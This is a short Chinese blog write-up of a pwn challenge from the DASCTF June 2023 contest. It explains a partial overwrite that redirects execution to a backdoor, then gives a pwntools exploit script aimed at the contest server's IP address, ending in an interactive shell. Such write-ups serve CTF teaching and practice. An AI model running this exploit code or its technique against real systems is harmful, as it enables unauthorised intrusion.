DASCTF 2023六月挑战赛二进制专项 Approoooooooaching

z1r0.

于 2023-06-05 20:25:38 发布

阅读量329

点赞数 1

分类专栏： wp 文章标签： pwn

本文链接：https://blog.csdn.net/zzq487782568/article/details/131055551

版权

wp 专栏收录该内容

45 篇文章 1 订阅

订阅专栏

DASCTF 2023六月挑战赛二进制专项 Approoooooooaching

在这里插入图片描述
控制v3减少4，然后控制case6，输入数据，就可以改程序流程了，做得很莫名其妙
输入后门的低字节即可

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './bf'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('139.155.140.235', 9999)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def dbgg():
    raw_input()

menu = 'Give me your choice: \n'

def add(size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('size: ', str(size))

def edit(content):
    r.sendlineafter(menu, '2')
    r.sendafter('text: ', content)

def delwith():
    r.sendlineafter(menu, '3')

def exe():
    r.sendlineafter(menu, '4')

dbgg()

add(0x20)

p1 = 'i' * 4 + 'y' * 4
edit(p1)
delwith()
exe()
r.send('\xDD')
r.send('\xDD')

r.interactive()